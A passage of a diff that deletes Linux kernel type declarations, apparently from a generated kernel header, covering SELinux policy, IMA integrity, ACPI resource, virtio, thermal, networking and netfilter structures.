constraint_expr *expr; - struct constraint_node *next; -}; - -struct common_datum { - u32 value; - struct symtab permissions; -}; - -struct class_datum { - u32 value; - char *comkey; - struct common_datum *comdatum; - struct symtab permissions; - struct constraint_node *constraints; - struct constraint_node *validatetrans; - char default_user; - char default_role; - char default_type; - char default_range; -}; - -struct role_datum { - u32 value; - u32 bounds; - struct ebitmap dominates; - struct ebitmap types; -}; - -struct role_allow { - u32 role; - u32 new_role; - struct role_allow *next; -}; - -struct type_datum { - u32 value; - u32 bounds; - unsigned char primary; - unsigned char attribute; -}; - -struct user_datum { - u32 value; - u32 bounds; - struct ebitmap roles; - struct mls_range range; - struct mls_level dfltlevel; -}; - -struct cond_bool_datum { - __u32 value; - int state; -}; - -struct ocontext { - union { - char *name; - struct { - u8 protocol; - u16 low_port; - u16 high_port; - } port; - struct { - u32 addr; - u32 mask; - } node; - struct { - u32 addr[4]; - u32 mask[4]; - } node6; - struct { - u64 subnet_prefix; - u16 low_pkey; - u16 high_pkey; - } ibpkey; - struct { - char *dev_name; - u8 port; - } ibendport; - } u; - union { - u32 sclass; - u32 behavior; - } v; - struct context context[2]; - u32 sid[2]; - struct ocontext *next; -}; - -struct genfs { - char *fstype; - struct ocontext *head; - struct genfs *next; -}; - -struct cond_node; - -struct policydb { - int mls_enabled; - struct symtab symtab[8]; - char **sym_val_to_name[8]; - struct class_datum **class_val_to_struct; - struct role_datum **role_val_to_struct; - struct user_datum **user_val_to_struct; - struct type_datum **type_val_to_struct; - struct avtab te_avtab; - struct hashtab role_tr; - struct ebitmap filename_trans_ttypes; - struct hashtab filename_trans; - u32 compat_filename_trans_count; - struct cond_bool_datum **bool_val_to_struct; - struct avtab te_cond_avtab; - struct cond_node *cond_list; - u32 cond_list_len; - struct role_allow *role_allow; - struct ocontext *ocontexts[9]; - struct genfs *genfs; - struct hashtab range_tr; - struct ebitmap *type_attr_map_array; - struct ebitmap policycaps; - struct ebitmap permissive_map; - size_t len; - unsigned int policyvers; - unsigned int reject_unknown: 1; - unsigned int allow_unknown: 1; - u16 process_class; - u32 process_trans_perms; -}; - -struct cond_expr_node; - -struct cond_expr { - struct cond_expr_node *nodes; - u32 len; -}; - -struct cond_av_list { - struct avtab_node **nodes; - u32 len; -}; - -struct cond_node { - int cur_state; - struct cond_expr expr; - struct cond_av_list true_list; - struct cond_av_list false_list; -}; - -struct policy_data { - struct policydb *p; - void *fp; -}; - -struct cond_expr_node { - u32 expr_type; - u32 bool; -}; - -struct cond_insertf_data { - struct policydb *p; - struct avtab_node **dst; - struct cond_av_list *other; -}; - -struct tpm_digest { - u16 alg_id; - u8 digest[64]; -}; - -enum integrity_status { - INTEGRITY_PASS = 0, - INTEGRITY_PASS_IMMUTABLE = 1, - INTEGRITY_FAIL = 2, - INTEGRITY_FAIL_IMMUTABLE = 3, - INTEGRITY_NOLABEL = 4, - INTEGRITY_NOXATTRS = 5, - INTEGRITY_UNKNOWN = 6, -}; - -struct evm_ima_xattr_data { - u8 type; - u8 data[0]; -}; - -struct ima_digest_data { - u8 algo; - u8 length; - union { - struct { - u8 unused; - u8 type; - } sha1; - struct { - u8 type; - u8 algo; - } ng; - u8 data[2]; - } xattr; - u8 digest[0]; -}; - -struct integrity_iint_cache { - struct rb_node rb_node; - struct mutex mutex; - struct inode *inode; - u64 version; - long unsigned int flags; - long unsigned int measured_pcrs; - long unsigned int atomic_flags; - enum integrity_status ima_file_status: 4; - enum integrity_status ima_mmap_status: 4; - enum integrity_status ima_bprm_status: 4; - enum integrity_status ima_read_status: 4; - enum integrity_status ima_creds_status: 4; - enum integrity_status evm_status: 4; - struct ima_digest_data *ima_hash; -}; - -enum ima_show_type { - IMA_SHOW_BINARY = 0, - IMA_SHOW_BINARY_NO_FIELD_LEN = 1, - IMA_SHOW_BINARY_OLD_STRING_FMT = 2, - IMA_SHOW_ASCII = 3, -}; - -struct modsig; - -struct ima_event_data { - struct integrity_iint_cache *iint; - struct file *file; - const unsigned char *filename; - struct evm_ima_xattr_data *xattr_value; - int xattr_len; - const struct modsig *modsig; - const char *violation; - const void *buf; - int buf_len; -}; - -struct ima_field_data { - u8 *data; - u32 len; -}; - -struct ima_template_field { - const char field_id[16]; - int (*field_init)(struct ima_event_data *, struct ima_field_data *); - void (*field_show)(struct seq_file *, enum ima_show_type, struct ima_field_data *); -}; - -struct ima_template_desc { - struct list_head list; - char *name; - char *fmt; - int num_fields; - const struct ima_template_field **fields; -}; - -struct ima_template_entry { - int pcr; - struct tpm_digest *digests; - struct ima_template_desc *template_desc; - u32 template_data_len; - struct ima_field_data template_data[0]; -}; - -struct ima_queue_entry { - struct hlist_node hnext; - struct list_head later; - struct ima_template_entry *entry; -}; - -struct ima_h_table { - atomic_long_t len; - atomic_long_t violations; - struct hlist_head queue[1024]; -}; - -enum ima_fs_flags { - IMA_FS_BUSY = 0, -}; - -enum blake2b_lengths { - BLAKE2B_BLOCK_SIZE = 128, - BLAKE2B_HASH_SIZE = 64, - BLAKE2B_KEY_SIZE = 64, - BLAKE2B_160_HASH_SIZE = 20, - BLAKE2B_256_HASH_SIZE = 32, - BLAKE2B_384_HASH_SIZE = 48, - BLAKE2B_512_HASH_SIZE = 64, -}; - -struct blake2b_state { - u64 h[8]; - u64 t[2]; - u64 f[2]; - u8 buf[128]; - unsigned int buflen; - unsigned int outlen; -}; - -enum blake2b_iv { - BLAKE2B_IV0 = 7640891576956012808ULL, - BLAKE2B_IV1 = 13503953896175478587ULL, - BLAKE2B_IV2 = 4354685564936845355ULL, - BLAKE2B_IV3 = 11912009170470909681ULL, - BLAKE2B_IV4 = 5840696475078001361ULL, - BLAKE2B_IV5 = 11170449401992604703ULL, - BLAKE2B_IV6 = 2270897969802886507ULL, - BLAKE2B_IV7 = 6620516959819538809ULL, -}; - -typedef void (*blake2b_compress_t)(struct blake2b_state *, const u8 *, size_t, u32); - -struct blake2b_tfm_ctx { - u8 key[64]; - unsigned int keylen; -}; - -struct bvec_iter_all { - struct bio_vec bv; - int idx; - unsigned int done; -}; - -enum { - BIO_NO_PAGE_REF = 0, - BIO_CLONED = 1, - BIO_BOUNCED = 2, - BIO_QUIET = 3, - BIO_CHAIN = 4, - BIO_REFFED = 5, - BIO_BPS_THROTTLED = 6, - BIO_TRACE_COMPLETION = 7, - BIO_CGROUP_ACCT = 8, - BIO_QOS_THROTTLED = 9, - BIO_QOS_MERGED = 10, - BIO_REMAPPED = 11, - BIO_ZONE_WRITE_LOCKED = 12, - BIO_FLAG_LAST = 13, -}; - -enum req_flag_bits { - __REQ_FAILFAST_DEV = 8, - __REQ_FAILFAST_TRANSPORT = 9, - __REQ_FAILFAST_DRIVER = 10, - __REQ_SYNC = 11, - __REQ_META = 12, - __REQ_PRIO = 13, - __REQ_NOMERGE = 14, - __REQ_IDLE = 15, - __REQ_INTEGRITY = 16, - __REQ_FUA = 17, - __REQ_PREFLUSH = 18, - __REQ_RAHEAD = 19, - __REQ_BACKGROUND = 20, - __REQ_NOWAIT = 21, - __REQ_CGROUP_PUNT = 22, - __REQ_POLLED = 23, - __REQ_ALLOC_CACHE = 24, - __REQ_SWAP = 25, - __REQ_DRV = 26, - __REQ_NOUNMAP = 27, - __REQ_NR_BITS = 28, -}; - -enum iter_type { - ITER_IOVEC = 0, - ITER_KVEC = 1, - ITER_BVEC = 2, - ITER_PIPE = 3, - ITER_XARRAY = 4, - ITER_DISCARD = 5, - ITER_UBUF = 6, -}; - -struct rq_map_data { - struct page **pages; - long unsigned int offset; - short unsigned int page_order; - short unsigned int nr_entries; - bool null_mapped; - bool from_user; -}; - -struct bio_map_data { - bool is_our_pages: 1; - bool is_null_mapped: 1; - struct iov_iter iter; - struct iovec iov[0]; -}; - -typedef u16 acpi_rs_length; - -typedef acpi_status (*acpi_walk_aml_callback)(u8 *, u32, u32, u8, void **); - -struct aml_resource_small_header { - u8 descriptor_type; -}; - -struct aml_resource_irq { - u8 descriptor_type; - u16 irq_mask; - u8 flags; -} __attribute__((packed)); - -struct aml_resource_dma { - u8 descriptor_type; - u8 dma_channel_mask; - u8 flags; -}; - -struct aml_resource_start_dependent { - u8 descriptor_type; - u8 flags; -}; - -struct aml_resource_end_dependent { - u8 descriptor_type; -}; - -struct aml_resource_io { - u8 descriptor_type; - u8 flags; - u16 minimum; - u16 maximum; - u8 alignment; - u8 address_length; -}; - -struct aml_resource_fixed_io { - u8 descriptor_type; - u16 address; - u8 address_length; -} __attribute__((packed)); - -struct aml_resource_vendor_small { - u8 descriptor_type; -}; - -struct aml_resource_end_tag { - u8 descriptor_type; - u8 checksum; -}; - -struct aml_resource_fixed_dma { - u8 descriptor_type; - u16 request_lines; - u16 channels; - u8 width; -} __attribute__((packed)); - -struct aml_resource_large_header { - u8 descriptor_type; - u16 resource_length; -} __attribute__((packed)); - -struct aml_resource_memory24 { - u8 descriptor_type; - u16 resource_length; - u8 flags; - u16 minimum; - u16 maximum; - u16 alignment; - u16 address_length; -} __attribute__((packed)); - -struct aml_resource_vendor_large { - u8 descriptor_type; - u16 resource_length; -} __attribute__((packed)); - -struct aml_resource_memory32 { - u8 descriptor_type; - u16 resource_length; - u8 flags; - u32 minimum; - u32 maximum; - u32 alignment; - u32 address_length; -} __attribute__((packed)); - -struct aml_resource_fixed_memory32 { - u8 descriptor_type; - u16 resource_length; - u8 flags; - u32 address; - u32 address_length; -} __attribute__((packed)); - -struct aml_resource_address { - u8 descriptor_type; - u16 resource_length; - u8 resource_type; - u8 flags; - u8 specific_flags; -} __attribute__((packed)); - -struct aml_resource_extended_address64 { - u8 descriptor_type; - u16 resource_length; - u8 resource_type; - u8 flags; - u8 specific_flags; - u8 revision_ID; - u8 reserved; - u64 granularity; - u64 minimum; - u64 maximum; - u64 translation_offset; - u64 address_length; - u64 type_specific; -} __attribute__((packed)); - -struct aml_resource_address64 { - u8 descriptor_type; - u16 resource_length; - u8 resource_type; - u8 flags; - u8 specific_flags; - u64 granularity; - u64 minimum; - u64 maximum; - u64 translation_offset; - u64 address_length; -} __attribute__((packed)); - -struct aml_resource_address32 { - u8 descriptor_type; - u16 resource_length; - u8 resource_type; - u8 flags; - u8 specific_flags; - u32 granularity; - u32 minimum; - u32 maximum; - u32 translation_offset; - u32 address_length; -} __attribute__((packed)); - -struct aml_resource_address16 { - u8 descriptor_type; - u16 resource_length; - u8 resource_type; - u8 flags; - u8 specific_flags; - u16 granularity; - u16 minimum; - u16 maximum; - u16 translation_offset; - u16 address_length; -} __attribute__((packed)); - -struct aml_resource_extended_irq { - u8 descriptor_type; - u16 resource_length; - u8 flags; - u8 interrupt_count; - u32 interrupts[1]; -} __attribute__((packed)); - -struct aml_resource_generic_register { - u8 descriptor_type; - u16 resource_length; - u8 address_space_id; - u8 bit_width; - u8 bit_offset; - u8 access_size; - u64 address; -} __attribute__((packed)); - -struct aml_resource_gpio { - u8 descriptor_type; - u16 resource_length; - u8 revision_id; - u8 connection_type; - u16 flags; - u16 int_flags; - u8 pin_config; - u16 drive_strength; - u16 debounce_timeout; - u16 pin_table_offset; - u8 res_source_index; - u16 res_source_offset; - u16 vendor_offset; - u16 vendor_length; -} __attribute__((packed)); - -struct aml_resource_common_serialbus { - u8 descriptor_type; - u16 resource_length; - u8 revision_id; - u8 res_source_index; - u8 type; - u8 flags; - u16 type_specific_flags; - u8 type_revision_id; - u16 type_data_length; -} __attribute__((packed)); - -struct aml_resource_csi2_serialbus { - u8 descriptor_type; - u16 resource_length; - u8 revision_id; - u8 res_source_index; - u8 type; - u8 flags; - u16 type_specific_flags; - u8 type_revision_id; - u16 type_data_length; -} __attribute__((packed)); - -struct aml_resource_i2c_serialbus { - u8 descriptor_type; - u16 resource_length; - u8 revision_id; - u8 res_source_index; - u8 type; - u8 flags; - u16 type_specific_flags; - u8 type_revision_id; - u16 type_data_length; - u32 connection_speed; - u16 slave_address; -} __attribute__((packed)); - -struct aml_resource_spi_serialbus { - u8 descriptor_type; - u16 resource_length; - u8 revision_id; - u8 res_source_index; - u8 type; - u8 flags; - u16 type_specific_flags; - u8 type_revision_id; - u16 type_data_length; - u32 connection_speed; - u8 data_bit_length; - u8 clock_phase; - u8 clock_polarity; - u16 device_selection; -} __attribute__((packed)); - -struct aml_resource_uart_serialbus { - u8 descriptor_type; - u16 resource_length; - u8 revision_id; - u8 res_source_index; - u8 type; - u8 flags; - u16 type_specific_flags; - u8 type_revision_id; - u16 type_data_length; - u32 default_baud_rate; - u16 rx_fifo_size; - u16 tx_fifo_size; - u8 parity; - u8 lines_enabled; -} __attribute__((packed)); - -struct aml_resource_pin_function { - u8 descriptor_type; - u16 resource_length; - u8 revision_id; - u16 flags; - u8 pin_config; - u16 function_number; - u16 pin_table_offset; - u8 res_source_index; - u16 res_source_offset; - u16 vendor_offset; - u16 vendor_length; -} __attribute__((packed)); - -struct aml_resource_pin_config { - u8 descriptor_type; - u16 resource_length; - u8 revision_id; - u16 flags; - u8 pin_config_type; - u32 pin_config_value; - u16 pin_table_offset; - u8 res_source_index; - u16 res_source_offset; - u16 vendor_offset; - u16 vendor_length; -} __attribute__((packed)); - -struct aml_resource_pin_group { - u8 descriptor_type; - u16 resource_length; - u8 revision_id; - u16 flags; - u16 pin_table_offset; - u16 label_offset; - u16 vendor_offset; - u16 vendor_length; -} __attribute__((packed)); - -struct aml_resource_pin_group_function { - u8 descriptor_type; - u16 resource_length; - u8 revision_id; - u16 flags; - u16 function_number; - u8 res_source_index; - u16 res_source_offset; - u16 res_source_label_offset; - u16 vendor_offset; - u16 vendor_length; -} __attribute__((packed)); - -struct aml_resource_pin_group_config { - u8 descriptor_type; - u16 resource_length; - u8 revision_id; - u16 flags; - u8 pin_config_type; - u32 pin_config_value; - u8 res_source_index; - u16 res_source_offset; - u16 res_source_label_offset; - u16 vendor_offset; - u16 vendor_length; -} __attribute__((packed)); - -union aml_resource { - u8 descriptor_type; - struct aml_resource_small_header small_header; - struct aml_resource_large_header large_header; - struct aml_resource_irq irq; - struct aml_resource_dma dma; - struct aml_resource_start_dependent start_dpf; - struct aml_resource_end_dependent end_dpf; - struct aml_resource_io io; - struct aml_resource_fixed_io fixed_io; - struct aml_resource_fixed_dma fixed_dma; - struct aml_resource_vendor_small vendor_small; - struct aml_resource_end_tag end_tag; - struct aml_resource_memory24 memory24; - struct aml_resource_generic_register generic_reg; - struct aml_resource_vendor_large vendor_large; - struct aml_resource_memory32 memory32; - struct aml_resource_fixed_memory32 fixed_memory32; - struct aml_resource_address16 address16; - struct aml_resource_address32 address32; - struct aml_resource_address64 address64; - struct aml_resource_extended_address64 ext_address64; - struct aml_resource_extended_irq extended_irq; - struct aml_resource_gpio gpio; - struct aml_resource_i2c_serialbus i2c_serial_bus; - struct aml_resource_spi_serialbus spi_serial_bus; - struct aml_resource_uart_serialbus uart_serial_bus; - struct aml_resource_csi2_serialbus csi2_serial_bus; - struct aml_resource_common_serialbus common_serial_bus; - struct aml_resource_pin_function pin_function; - struct aml_resource_pin_config pin_config; - struct aml_resource_pin_group pin_group; - struct aml_resource_pin_group_function pin_group_function; - struct aml_resource_pin_group_config pin_group_config; - struct aml_resource_address address; - u32 dword_item; - u16 word_item; - u8 byte_item; -}; - -struct virtio_device_id { - __u32 device; - __u32 vendor; -}; - -struct vringh_config_ops; - -struct virtio_config_ops; - -struct virtio_device { - int index; - bool failed; - bool config_enabled; - bool config_change_pending; - spinlock_t config_lock; - spinlock_t vqs_list_lock; - struct device dev; - struct virtio_device_id id; - const struct virtio_config_ops *config; - const struct vringh_config_ops *vringh_config; - struct list_head vqs; - u64 features; - void *priv; -}; - -struct virtqueue; - -typedef void vq_callback_t(struct virtqueue *); - -struct virtio_shm_region; - -struct virtio_config_ops { - void (*get)(struct virtio_device *, unsigned int, void *, unsigned int); - void (*set)(struct virtio_device *, unsigned int, const void *, unsigned int); - u32 (*generation)(struct virtio_device *); - u8 (*get_status)(struct virtio_device *); - void (*set_status)(struct virtio_device *, u8); - void (*reset)(struct virtio_device *); - int (*find_vqs)(struct virtio_device *, unsigned int, struct virtqueue **, vq_callback_t **, const char * const *, const bool *, struct irq_affinity *); - void (*del_vqs)(struct virtio_device *); - void (*synchronize_cbs)(struct virtio_device *); - u64 (*get_features)(struct virtio_device *); - int (*finalize_features)(struct virtio_device *); - const char * (*bus_name)(struct virtio_device *); - int (*set_vq_affinity)(struct virtqueue *, const struct cpumask *); - const struct cpumask * (*get_vq_affinity)(struct virtio_device *, int); - bool (*get_shm_region)(struct virtio_device *, struct virtio_shm_region *, u8); - int (*disable_vq_and_reset)(struct virtqueue *); - int (*enable_vq_after_reset)(struct virtqueue *); -}; - -typedef __kernel_long_t __kernel_off_t; - -typedef __kernel_off_t off_t; - -enum chipset_type { - NOT_SUPPORTED = 0, - SUPPORTED = 1, -}; - -struct agp_version { - u16 major; - u16 minor; -}; - -struct agp_bridge_data; - -struct agp_memory { - struct agp_memory *next; - struct agp_memory *prev; - struct agp_bridge_data *bridge; - struct page **pages; - size_t page_count; - int key; - int num_scratch_pages; - off_t pg_start; - u32 type; - u32 physical; - bool is_bound; - bool is_flushed; - struct list_head mapped_list; - struct scatterlist *sg_list; - int num_sg; -}; - -struct agp_bridge_driver; - -struct agp_bridge_data { - const struct agp_version *version; - const struct agp_bridge_driver *driver; - const struct vm_operations_struct *vm_ops; - void *previous_size; - void *current_size; - void *dev_private_data; - struct pci_dev *dev; - u32 *gatt_table; - u32 *gatt_table_real; - long unsigned int scratch_page; - struct page *scratch_page_page; - dma_addr_t scratch_page_dma; - long unsigned int gart_bus_addr; - long unsigned int gatt_bus_addr; - u32 mode; - enum chipset_type type; - long unsigned int *key_list; - atomic_t current_memory_agp; - atomic_t agp_in_use; - int max_memory_agp; - int aperture_size_idx; - int capndx; - int flags; - char major_version; - char minor_version; - struct list_head list; - u32 apbase_config; - struct list_head mapped_list; - spinlock_t mapped_lock; -}; - -enum aper_size_type { - U8_APER_SIZE = 0, - U16_APER_SIZE = 1, - U32_APER_SIZE = 2, - LVL2_APER_SIZE = 3, - FIXED_APER_SIZE = 4, -}; - -struct gatt_mask { - long unsigned int mask; - u32 type; -}; - -struct aper_size_info_8 { - int size; - int num_entries; - int page_order; - u8 size_value; -}; - -struct aper_size_info_16 { - int size; - int num_entries; - int page_order; - u16 size_value; -}; - -struct agp_bridge_driver { - struct module *owner; - const void *aperture_sizes; - int num_aperture_sizes; - enum aper_size_type size_type; - bool cant_use_aperture; - bool needs_scratch_page; - const struct gatt_mask *masks; - int (*fetch_size)(); - int (*configure)(); - void (*agp_enable)(struct agp_bridge_data *, u32); - void (*cleanup)(); - void (*tlb_flush)(struct agp_memory *); - long unsigned int (*mask_memory)(struct agp_bridge_data *, dma_addr_t, int); - void (*cache_flush)(); - int (*create_gatt_table)(struct agp_bridge_data *); - int (*free_gatt_table)(struct agp_bridge_data *); - int (*insert_memory)(struct agp_memory *, off_t, int); - int (*remove_memory)(struct agp_memory *, off_t, int); - struct agp_memory * (*alloc_by_type)(size_t, int); - void (*free_by_type)(struct agp_memory *); - struct page * (*agp_alloc_page)(struct agp_bridge_data *); - int (*agp_alloc_pages)(struct agp_bridge_data *, struct agp_memory *, size_t); - void (*agp_destroy_page)(struct page *, int); - void (*agp_destroy_pages)(struct agp_memory *); - int (*agp_type_to_mask_type)(struct agp_bridge_data *, int); -}; - -struct intel_agp_driver_description { - unsigned int chip_id; - char *name; - const struct agp_bridge_driver *driver; -}; - -struct dma_fence_ops; - -struct dma_fence { - spinlock_t *lock; - const struct dma_fence_ops *ops; - union { - struct list_head cb_list; - ktime_t timestamp; - struct callback_head rcu; - }; - u64 context; - u64 seqno; - long unsigned int flags; - struct kref refcount; - int error; -}; - -struct dma_fence_ops { - bool use_64bit_seqno; - const char * (*get_driver_name)(struct dma_fence *); - const char * (*get_timeline_name)(struct dma_fence *); - bool (*enable_signaling)(struct dma_fence *); - bool (*signaled)(struct dma_fence *); - long int (*wait)(struct dma_fence *, bool, long int); - void (*release)(struct dma_fence *); - void (*fence_value_str)(struct dma_fence *, char *, int); - void (*timeline_value_str)(struct dma_fence *, char *, int); -}; - -enum dma_fence_flag_bits { - DMA_FENCE_FLAG_SIGNALED_BIT = 0, - DMA_FENCE_FLAG_TIMESTAMP_BIT = 1, - DMA_FENCE_FLAG_ENABLE_SIGNAL_BIT = 2, - DMA_FENCE_FLAG_USER_BITS = 3, -}; - -struct dma_fence_cb; - -typedef void (*dma_fence_func_t)(struct dma_fence *, struct dma_fence_cb *); - -struct dma_fence_cb { - struct list_head node; - dma_fence_func_t func; -}; - -struct dma_fence_array { - struct dma_fence base; - spinlock_t lock; - unsigned int num_fences; - atomic_t num_pending; - struct dma_fence **fences; - struct irq_work work; -}; - -struct dma_fence_chain { - struct dma_fence base; - struct dma_fence *prev; - u64 prev_seqno; - struct dma_fence *fence; - union { - struct dma_fence_cb cb; - struct irq_work work; - }; - spinlock_t lock; -}; - -struct dma_fence_unwrap { - struct dma_fence *chain; - struct dma_fence *array; - unsigned int index; -}; - -enum thermal_device_mode { - THERMAL_DEVICE_DISABLED = 0, - THERMAL_DEVICE_ENABLED = 1, -}; - -enum thermal_trip_type { - THERMAL_TRIP_ACTIVE = 0, - THERMAL_TRIP_PASSIVE = 1, - THERMAL_TRIP_HOT = 2, - THERMAL_TRIP_CRITICAL = 3, -}; - -enum thermal_trend { - THERMAL_TREND_STABLE = 0, - THERMAL_TREND_RAISING = 1, - THERMAL_TREND_DROPPING = 2, -}; - -enum thermal_notify_event { - THERMAL_EVENT_UNSPECIFIED = 0, - THERMAL_EVENT_TEMP_SAMPLE = 1, - THERMAL_TRIP_VIOLATED = 2, - THERMAL_TRIP_CHANGED = 3, - THERMAL_DEVICE_DOWN = 4, - THERMAL_DEVICE_UP = 5, - THERMAL_DEVICE_POWER_CAPABILITY_CHANGED = 6, - THERMAL_TABLE_CHANGED = 7, - THERMAL_EVENT_KEEP_ALIVE = 8, -}; - -struct thermal_zone_device; - -struct thermal_zone_device_ops { - int (*bind)(struct thermal_zone_device *, struct thermal_cooling_device *); - int (*unbind)(struct thermal_zone_device *, struct thermal_cooling_device *); - int (*get_temp)(struct thermal_zone_device *, int *); - int (*set_trips)(struct thermal_zone_device *, int, int); - int (*change_mode)(struct thermal_zone_device *, enum thermal_device_mode); - int (*get_trip_type)(struct thermal_zone_device *, int, enum thermal_trip_type *); - int (*get_trip_temp)(struct thermal_zone_device *, int, int *); - int (*set_trip_temp)(struct thermal_zone_device *, int, int); - int (*get_trip_hyst)(struct thermal_zone_device *, int, int *); - int (*set_trip_hyst)(struct thermal_zone_device *, int, int); - int (*get_crit_temp)(struct thermal_zone_device *, int *); - int (*set_emul_temp)(struct thermal_zone_device *, int); - int (*get_trend)(struct thermal_zone_device *, int, enum thermal_trend *); - void (*hot)(struct thermal_zone_device *); - void (*critical)(struct thermal_zone_device *); -}; - -struct thermal_attr; - -struct thermal_trip; - -struct thermal_zone_params; - -struct thermal_governor; - -struct thermal_zone_device { - int id; - char type[20]; - struct device device; - struct attribute_group trips_attribute_group; - struct thermal_attr *trip_temp_attrs; - struct thermal_attr *trip_type_attrs; - struct thermal_attr *trip_hyst_attrs; - enum thermal_device_mode mode; - void *devdata; - struct thermal_trip *trips; - int num_trips; - long unsigned int trips_disabled; - long unsigned int passive_delay_jiffies; - long unsigned int polling_delay_jiffies; - int temperature; - int last_temperature; - int emul_temperature; - int passive; - int prev_low_trip; - int prev_high_trip; - atomic_t need_update; - struct thermal_zone_device_ops *ops; - struct thermal_zone_params *tzp; - struct thermal_governor *governor; - void *governor_data; - struct list_head thermal_instances; - struct ida ida; - struct mutex lock; - struct list_head node; - struct delayed_work poll_queue; - enum thermal_notify_event notify_event; -}; - -struct thermal_trip { - int temperature; - int hysteresis; - enum thermal_trip_type type; -}; - -struct thermal_attr { - struct device_attribute attr; - char name[20]; -}; - -struct thermal_bind_params; - -struct thermal_zone_params { - char governor_name[20]; - bool no_hwmon; - int num_tbps; - struct thermal_bind_params *tbp; - u32 sustainable_power; - s32 k_po; - s32 k_pu; - s32 k_i; - s32 k_d; - s32 integral_cutoff; - int slope; - int offset; -}; - -struct thermal_governor { - char name[20]; - int (*bind_to_tz)(struct thermal_zone_device *); - void (*unbind_from_tz)(struct thermal_zone_device *); - int (*throttle)(struct thermal_zone_device *, int); - struct list_head governor_list; -}; - -struct thermal_bind_params { - struct thermal_cooling_device *cdev; - int weight; - int trip_mask; - long unsigned int *binding_limits; - int (*match)(struct thermal_zone_device *, struct thermal_cooling_device *); -}; - -struct thermal_instance { - int id; - char name[20]; - struct thermal_zone_device *tz; - struct thermal_cooling_device *cdev; - int trip; - bool initialized; - long unsigned int upper; - long unsigned int lower; - long unsigned int target; - char attr_name[20]; - struct device_attribute attr; - char weight_attr_name[20]; - struct device_attribute weight_attr; - struct list_head tz_node; - struct list_head cdev_node; - unsigned int weight; -}; - -struct font_desc { - int idx; - const char *name; - unsigned int width; - unsigned int height; - unsigned int charcount; - const void *data; - int pref; -}; - -typedef struct __call_single_data call_single_data_t; - -struct gro_list { - struct list_head list; - int count; -}; - -struct napi_struct { - struct list_head poll_list; - long unsigned int state; - int weight; - int defer_hard_irqs_count; - long unsigned int gro_bitmask; - int (*poll)(struct napi_struct *, int); - struct net_device *dev; - struct gro_list gro_hash[8]; - struct sk_buff *skb; - struct list_head rx_list; - int rx_count; - struct hrtimer timer; - struct list_head dev_list; - struct hlist_node napi_hash_node; - unsigned int napi_id; - struct task_struct *thread; -}; - -struct rps_sock_flow_table { - u32 mask; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - u32 ents[0]; -}; - -struct netdev_name_node { - struct hlist_node hlist; - struct list_head list; - struct net_device *dev; - const char *name; -}; - -struct sd_flow_limit; - -struct softnet_data { - struct list_head poll_list; - struct sk_buff_head process_queue; - unsigned int processed; - unsigned int time_squeeze; - struct softnet_data *rps_ipi_list; - struct sd_flow_limit *flow_limit; - struct Qdisc *output_queue; - struct Qdisc **output_queue_tailp; - struct sk_buff *completion_queue; - struct { - u16 recursion; - u8 more; - u8 skip_txqueue; - } xmit; - long: 64; - long: 64; - long: 64; - long: 64; - unsigned int input_queue_head; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - call_single_data_t csd; - struct softnet_data *rps_ipi_next; - unsigned int cpu; - unsigned int input_queue_tail; - unsigned int received_rps; - unsigned int dropped; - struct sk_buff_head input_pkt_queue; - struct napi_struct backlog; - long: 64; - long: 64; - long: 64; - long: 64; - long: 64; - spinlock_t defer_lock; - int defer_count; - int defer_ipi_scheduled; - struct sk_buff *defer_list; - long: 64; - long: 64; - call_single_data_t defer_csd; -}; - -struct sd_flow_limit { - u64 count; - unsigned int num_buckets; - unsigned int history_head; - u16 history[128]; - u8 buckets[0]; -}; - -struct va_format { - const char *fmt; - va_list *va; -}; - -enum nf_hook_ops_type { - NF_HOOK_OP_UNDEFINED = 0, - NF_HOOK_OP_NF_TABLES = 1, -}; - -struct nf_hook_ops { - nf_hookfn *hook; - struct net_device *dev; - void *priv; - u8 pf; - enum nf_hook_ops_type hook_ops_type: 8; - unsigned int hooknum; - int priority; -}; - -struct nf_sockopt_ops { - struct list_head list; - u_int8_t pf; - int set_optmin; - int set_optmax; - int (*set)(struct sock *, int, sockptr_t, unsigned int); - int get_optmin; - int get_optmax; - int (*get)(struct sock *, int, void *, int *); - struct module *owner; -}; - -enum nf_ip_hook_priorities { - NF_IP_PRI_FIRST = -2147483648, - NF_IP_PRI_RAW_BEFORE_DEFRAG = -450, - NF_IP_PRI_CONNTRACK_DEFRAG = -400, - NF_IP_PRI_RAW = -300, - NF_IP_PRI_SELINUX_FIRST = -225, - NF_IP_PRI_CONNTRACK = -200, - NF_IP_PRI_MANGLE = -150, - NF_IP_PRI_NAT_DST = -100, - NF_IP_PRI_FILTER = 0, - NF_IP_PRI_SECURITY = 50, - NF_IP_PRI_NAT_SRC = 100, - NF_IP_PRI_SELINUX_LAST = 225, - NF_IP_PRI_CONNTRACK_HELPER = 300, - NF_IP_PRI_CONNTRACK_CONFIRM = 2147483647, - NF_IP_PRI_LAST = 2147483647, -}; - -struct nf_conntrack_l4proto { - u_int8_t l4proto; - bool allow_clash; - u16 nlattr_size; - bool (*can_early_drop)(const struct nf_conn *); - int (*to_nlattr)(struct sk_buff *, struct nlattr *, struct nf_conn *, bool); - int (*from_nlattr)(struct nlattr **, struct nf_conn *); - int (*tuple_to_nlattr)(struct sk_buff *, const struct nf_conntrack_tuple *); - unsigned int (*nlattr_tuple_size)(); - int (*nlattr_to_tuple)(struct nlattr **, struct nf_conntrack_tuple *, u_int32_t); - const struct nla_policy *nla_policy; - struct { - int (*nlattr_to_obj)(struct nlattr **, struct net *, void *); - int (*obj_to_nlattr)(struct sk_buff *, const void *); - u16 obj_size; - u16 nlattr_max; - const struct nla_policy *nla_policy; - } ctnl_timeout; -}; - -struct nf_ct_iter_data { - struct net *net; - void *data; - u32 portid; - int report; -}; - -struct nf_ct_bridge_info { - struct nf_hook_ops *ops; - unsigned int ops_size; - struct module *me; -}; - -struct nf_loginfo { - u_int8_t type; - union { - struct { - u_int32_t copy_len; - u_int16_t group; - u_int16_t qthreshold; - u_int16_t flags; - } ulog; - struct { - u_int8_t level; - u_int8_t logflags; - } log; - } u; -}; - -enum nf_ip6_hook_priorities { - NF_IP6_PRI_FIRST = -2147483648, - NF_IP6_PRI_RAW_BEFORE_DEFRAG = -450, - NF_IP6_PRI_CONNTRACK_DEFRAG = -400, - NF_IP6_PRI_RAW = -300, - NF_IP6_PRI_SELINUX_FIRST = -225, - NF_IP6_PRI_CONNTRACK = -200, - NF_IP6_PRI_MANGLE = -150, - NF_IP6_PRI_NAT_DST = -100, - NF_IP6_PRI_FILTER 